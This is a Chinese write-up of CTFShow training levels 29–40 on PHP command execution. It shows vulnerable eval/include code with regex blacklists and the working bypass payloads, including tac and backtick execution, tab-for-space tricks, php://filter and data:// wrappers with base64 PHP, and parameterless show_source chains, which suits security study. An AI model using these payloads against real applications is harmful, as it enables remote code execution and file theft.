CTFShow-WEB入门篇命令执行详细Wp(29-40)

news2025/1/12 6:00:37

WEB入门篇--命令执行详细Wp

  • 命令执行:
    • Web29:
    • Web30:
    • Web31:
    • web32:
    • web33:
    • web34:
    • web35:
    • web36:
    • web37:
    • web38:
    • web39:
    • web40:

CTFShow 平台:https://ctf.show/

命令执行:

Web29:

error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag/i", $c)){
        eval($c);
    }
    
}else{
    highlight_file(__FILE__);
}

preg_match():函数执行一个正则表达式匹配。

这里过滤了flag/i 过滤的不是很多就两个所以方法有很多种

?c=system('tac f*');
?c=system("cp fla?.php 1.txt");#然后访问1.txt

在这里插入图片描述

在这里插入图片描述

ctfshow{f6702830-5d6b-4cfb-9678-4ae7fa2ba198}

Web30:

error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag|system|php/i", $c)){
        eval($c);
    }
    
}else{
    highlight_file(__FILE__);
}

过滤了flag、system、php 其实还可以使用上面的方法换一个命令执行函数即可。

命令执行函数:passthru、shell_exec、exec等 其实这里还可以使用反引号 `

`反引号和shell_exec意思相同在php中称之为执行运算符,PHP 将尝试将反引号中的内容作为 shell 命令来执行,并将其输出信息返回

?c=echo `tac f*`;
?c=passthru('tac f*');

在这里插入图片描述
在这里插入图片描述

ctfshow{c2ef0b5a-047d-4242-8567-daea91a6e06b}

Web31:

error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(/i", $c)){
        eval($c);
    }
    
}else{
    highlight_file(__FILE__);
}

这里又过滤了cat sort 和空格 可以使用使用空格绕过(%09) 也可也使用&拼接使用eval函数可以使用POST和GET其实一样的

c=eval($_GET[cmd]);&cmd=system("tac f*");
?c=echo (`tac%09f*`);

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

ctfshow{e66df5c7-07fb-4e6e-bcbb-46b209308c9d}

web32:

error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(/i", $c)){
        eval($c);
    }
    
}else{
    highlight_file(__FILE__);
}

这里又过滤了反斜杠,echo,分号,括号 这里可以使用include函数可以不用括号 实现文件包含 配合伪协议 分号可以使用>? 代替

PS:我们只需要知道 过滤了参数可以使用代替进行绕过就行了这是做题的思路 还是很好理解的

php://filter/read=convert.base64-encode/resource=flag.php #伪协议
?c=include_GET[cmd]>?&cmd=php://filter/read=convert.base64-encode/resource=flag.php

在这里插入图片描述

ctfshow{22eca81d-7663-4150-bc72-57825852ad03}

web33:

error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\"/i", $c)){
        eval($c);
    }
    
}else{
    highlight_file(__FILE__);
} 

过滤 了双引号 这里还是和上面那题一样的Payload就可以没啥新的知识点!

?c=include%0a$_GET[cmd]?>&cmd=php://filter/read=convert.base64-encode/resource=flag.php

在这里插入图片描述
在这里插入图片描述

ctfshow{34945d8a-89fa-48b8-919a-883dc71f740c}

web34:

error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\:|\"/i", $c)){
        eval($c);
    }
    
}else{
    highlight_file(__FILE__);
}

这里多了冒号好像,这里也是一样的Payload,但是我们这里用别的伪协议data://进行测试

?c=include%0a$_GET[cmd]?>&cmd=php://filter/read=convert.base64-encode/resource=flag.php
?c=include$_GET[cmd]?>&cmd=data://text/plan,<?php system("tac flag.php")?>

在这里插入图片描述

在这里插入图片描述

ctfshow{1378052e-d82c-446b-9e8d-5c1249ec1001}

web35:

error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\:|\"|\<|\=/i", $c)){
        eval($c);
    }
    
}else{
    highlight_file(__FILE__);
}

过滤了,=号和<括号这里可以使用database64 把要执行的命令加密了传进去<?php system("cat flag.php");?>

?c=include%0a$_GET[cmd]?>&cmd=php://filter/read=convert.base64-encode/resource=flag.php
?c=include$_GET[cmd]?>&cmd=data://text/plan,<?php system("tac flag.php")?>
?c=include$_GET[cmd]?>&cmd=data://text/plan;base64;PD9waHAgc3lzdGVtKCJjYXQgZmxhZy5waHAiKTs/Pg==
#到这里有三种方法可以使用

在这里插入图片描述
在这里插入图片描述

在这里插入图片描述

ctfshow{2529c316-96d3-442b-9642-2135d3cb9904}

web36:

error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\:|\"|\<|\=|\/|[0-9]/i", $c)){
        eval($c);
    }
    
}else{
    highlight_file(__FILE__);
}

这里过滤了数字0-9 还是可以使用上面的PayLoad只要传参的是数字就行

?c=include%0a$_GET[cmd]?>&cmd=php://filter/read=convert.base64-encode/resource=flag.php
?c=include$_GET[cmd]?>&cmd=data://text/plan,<?php system("tac flag.php")?>

在这里插入图片描述

ctfshow{ece6bc01-4a5c-4d30-b638-c8e77800d3f5}

web37:

error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag/i", $c)){
        include($c);
        echo $flag;
    
    }
        
}else{
    highlight_file(__FILE__);
}

这里过滤了flag 有文件包含了 可以使用伪协议

?c=php://filter/read=convert.base64-encode/resource=flag.php #这里过滤了flag不要使用这一条没用 我只是都想测一遍用下面两个
?c=data://text/palin,<?php system("tac f*");?>
?c=data://text/plain;base64,PD9waHAgc3lzdGVtKCJ0YWMgZioiKTs/Pg==

在这里插入图片描述
在这里插入图片描述

ctfshow{472ace50-bae6-472b-b9a3-1c9631a2c34d}

web38:

//flag in flag.php
error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag|php|file/i", $c)){
        include($c);
        echo $flag;
    
    }
        
}else{
    highlight_file(__FILE__);
}

这里过滤了phpfile 所以可以使用短标签‘<?=’是PHP的一个短的开放式标签

?c=data://text/palin,<?php system("tac f*");?> #(使用不了用第二个我只是进行对比)这里php被过滤了使用不了可以改为短标签
?c=data://text/palin,<?=system("tac f*");?>
?c=data://text/plain;base64,PD9waHAgc3lzdGVtKCJ0YWMgZioiKTs/Pg==

在这里插入图片描述

ctfshow{42276d5b-2bb2-419a-9eba-7d93704753dd}

web39:

error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag/i", $c)){
        include($c.".php");
    }
        
}else{
    highlight_file(__FILE__);
}
?c=data://text/palin,<?=system("tac f*");?>
?c=data://text/palin,<?php system("tac f*");?>

在这里插入图片描述

ctfshow{831f530f-d4d3-4ae5-91e7-1e8093d194e8}

web40:

if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/[0-9]|\~|\`|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\-|\=|\+|\{|\[|\]|\}|\:|\'|\"|\,|\<|\.|\>|\/|\?|\\\\/i", $c)){
        eval($c);
    }
        
}else{
    highlight_file(__FILE__);
} 

过滤了很多字符 有大写得括号 这里得考点是:无参数文件读取

无参数的意思可以是a()、a(b())a(b(c())),但不能是a('b')a('b','c'),不能带参数

localeconv() 函数返回一包含本地数字及货币格式信息的数组。
current() 函数返回数组中的当前元素(单元),默认取第一个值,
pos()current() ,是current()的别名
reset() 函数返回数组第一个单元的值,如果数组为空则返回 FALSE

array_reverse():数组逆序
array_flip()是交换数组的键和值

?c=print_r(show_source(array_rand(array_flip(scandir(pos(localeconv()))))));
?c=show_source(next(array_reverse(scandir(pos(localeconv())))));
next(): 函数将内部指针指向数组中的下一个元素,并输出。
?c=print_r(scandir(current(localeconv())));
scandir(current(localeconv())) 查看当前目录所有文件名
?c=highlight_file(next(array_reverse(scandir(pos(localeconv())))));

在这里插入图片描述
在这里插入图片描述

ctfshow{272b2a98-1f96-4742-bfab-f2893df46d9e}

在这里插入图片描述
至此29-40就完结了 希望对刚入门对Web感兴趣得小伙伴有帮助 感谢大家支持~ 我们下一篇见!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/643757.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

【哈希表part02】| 454.四数相加、383.赎金信、15.三数之和、18.四数之和

目录 ✿LeetCode454.四数相加❀ ✿LeetCode383.赎金信❀ ✿LeetCode15.三数之和❀ ✿LeetCode18.四数之和❀ ✿LeetCode454.四数相加❀ 链接&#xff1a;454.四数相加 给你四个整数数组 nums1、nums2、nums3 和 nums4 &#xff0c;数组长度都是 n &#xff0c;请你计算有多…

Hive3安装

Mysql安装 卸载Centos7自带的mariadb rpm -qa|grep mariadb rpm -e mariadb-libs-5.5.64-1.el7.x86_64 --nodeps rpm -qa|grep mariadb 安装mysql mkdir /export/software/mysql 上传mysql-5.7.29-1.el7.x86_64.rpm-bundle.tar 到上述文件夹下后解压 tar xvf mysql-5.7.29-1…

微服务技术简介

微服务技术简介 服务架构的演变微服务架构的常见概念微服务常见的解决方案Spring CloudSpring Cloud Alibaba微服务技术对比常用的微服务组件 微服务架构图 服务架构的演变 单体架构&#xff1a;当一个系统业务量很小的时候&#xff0c;将业务的所有功能集中在一个项目中开发&…

红帽认证常见答疑(一):有效期、考试题型、考试对年龄和身份要求、英语水平等

红帽认证有效期 红帽的每个证书都有有效期&#xff0c;期限3年。RHCE过期前可以考下午的RHCE&#xff08;EX294&#xff09;或者考一门RHCA来延期3年。证书过期后在红帽官网上无法下载证书&#xff0c;但仍然可以查询到考试记录&#xff0c;不会影响到就业求职&#xff0c;如果…

2.6 TCP与UDP的可靠性传输

目录 一、TCP可靠性传输1、重传机制1.1、超时重传1.2、快速重传1.3、SACK1.4、Duplicate SACK 2、滑动窗口3、流量控制3.1 滑动窗口与流量控制3.2窗口关闭 4、拥塞控制4.1拥塞窗口4.2 慢启动4.3 拥塞避免4.4 拥塞发生4.5 快速恢复 二、UDP可靠性传输1、主要策略2、重传机制2.1 …

基础知识学习---牛客网C++面试宝典(六)操作系统--第二节

1、本栏用来记录社招找工作过程中的内容&#xff0c;包括基础知识学习以及面试问题的记录等&#xff0c;以便于后续个人回顾学习&#xff1b; 暂时只有2023年3月份&#xff0c;第一次社招找工作的过程&#xff1b; 2、个人经历&#xff1a; 研究生期间课题是SLAM在无人机上的应…

湖南大学CS-2017期末考试解析

【特别注意】 答案来源于@wolf 是我在备考时自己做的,仅供参考,若有不同的地方欢迎讨论。 【试卷评析】 这张卷子有点老了,部分题目可能有用。如果仔细研究应该会有所收获。 【试卷与答案】 一.(6 分,每空 0.5 分) 下表中%r1,%r2 为两个四位的寄存器,请仿照第一行…

考虑3D海底环境的风电场集电系统

摘要 风能是目前国内外应用较为广泛的一种绿色可再生能源&#xff0c;近几年我国风电产业的发展十分迅速。然后&#xff0c;越来越多的风力发电系统建并网&#xff0c;风力发电产生的电能受外界因素影响较大&#xff0c;具有一定的随机性和波动性&#xff0c;给并网后的电力系统…

代码随想录算法训练营第三十五天| 860.柠檬水找零、406.根据身高重建队列、452. 用最少数量的箭引爆气球

柠檬水找零 题目链接&#xff1a;力扣 这道题 我一开始用纯模拟的方法也能写出来&#xff0c;后来发现和卡哥给的答案差不多&#xff0c;其贪心的点在&#xff1a; 当账单是20的情况&#xff0c;优先消耗一个10和一个5因为美元10只能给账单20找零&#xff0c;而美元5可以给账…

为什么要进行基坑监测,基坑监测包括哪些内容?

首先我们来了解一下为什么要进行基坑监测&#xff1f;基坑作为基础建设的底层组成成分&#xff0c;关系着上层建筑的稳固安全&#xff0c;进行基坑监测主要是为了确保工程的安全、有效地管理工程施工&#xff0c;以下是具体的原因介绍&#xff1a; 1. 减少工程风险&#xff1a;…

服务限流算法

服务限流算法有哪些 计数器法&#xff08;固定窗口&#xff09;&#xff1a;原理就是限制每秒处理请求数不超过阈值。比如一个接口一分钟可以处理1000次请求&#xff0c;那么可以设置一个计数器&#xff0c;当有一次请求过来&#xff0c;计数器就加1&#xff0c;如果一分钟以内…

【分布式存储】聊一下分布式存储之复制机制

上一篇文章中&#xff0c;主要聊了下数据分片的主要内容&#xff0c;我们知道&#xff0c;**通过数据分片其实可以解决数据存储的高性能以及可拓展&#xff0c;但是也导致了用join和使用分布式事务进行查询和存储数据的问题&#xff0c;**属于按下葫芦浮起瓢。但是在分布式领域…

【大数据之Hive】十一、Hive-HQL查询之基本查询

基础语法 select [all | distinct] select_expr,select_expr, ...from table)name --从什么表查[where where_condition] --过滤[group by col_list] --分组查询[having col_list] --分组后过滤[order by col_list] --排序[cluster by col_list | …

基础知识学习---牛客网C++面试宝典(七)操作系统--第三节

1、本栏用来记录社招找工作过程中的内容&#xff0c;包括基础知识学习以及面试问题的记录等&#xff0c;以便于后续个人回顾学习&#xff1b; 暂时只有2023年3月份&#xff0c;第一次社招找工作的过程&#xff1b; 2、个人经历&#xff1a; 研究生期间课题是SLAM在无人机上的应…

从 数据工程 到 Prompt 工程

动动发财的小手&#xff0c;点个赞吧&#xff01; 数据工程构成了数据科学过程的很大一部分。在 CRISP-DM 中&#xff0c;这个过程阶段称为“数据准备”。它包括数据摄取、数据转换和数据质量保证等任务。在本文[1]章中&#xff0c;我们使用 ChatGPT 和 Python 解决了典型的数据…

用HTML5制作精美战机游戏

每天要被大学老师催H5作业&#x1f44f;&#x1f3fb;&#x1f44f;&#x1f3fb;&#x1f44f;&#x1f3fb; 不如看看本文&#xff0c;代码齐全&#xff0c;直接用来做参考案例&#x1f44c;&#x1f3fb; 干货满满不看后悔&#x1f44d;&#x1f44d;&#x1f44d; 代码…

用友畅捷通CRM SQL注入漏洞复现

0x01 产品简介 用友畅捷通CRM是面向小企业全力打造的简单、实用的客户关系管理应用。帮助企业用好自己的客户资源、管好商机跟进过程、引导好业务员跟单行为&#xff0c;促进团队销售能力的提升&#xff1b;通过查询和分析&#xff0c;识别企业的价值客户&#xff0c;融合电话、…

JUC笔记(二)

多线程编程核心 在前面&#xff0c;我们了解了多线程的底层运作机制&#xff0c;我们终于知道&#xff0c;原来多线程环境下存在着如此之多的问题。在JDK5之前&#xff0c;我们只能选择synchronized关键字来实现锁&#xff0c;而JDK5之后&#xff0c;由于volatile关键字得到了…

湖南大学CS-2021期末考试解析

【特别注意】 答案来源于@wolf 是我在备考时自己做的,仅供参考,若有不同的地方欢迎讨论。 【试卷评析】 有必要一做。 【试卷与答案】 1.简答题(10 分) 小明设计了一款机器,整数和浮点数都占 10 个 bit,其中整数采用补码表示,浮点数采用 IEEE 754 标准。 (1)…

matlab横向连接字符组成文件路径

f fullfile(myfolder,myfile.tif) %字符串中不包含反斜杠 f strcat(myfolder\,myfile.tif) %字符串中包含反斜杠,strcat函数直接拼接得到的结果一致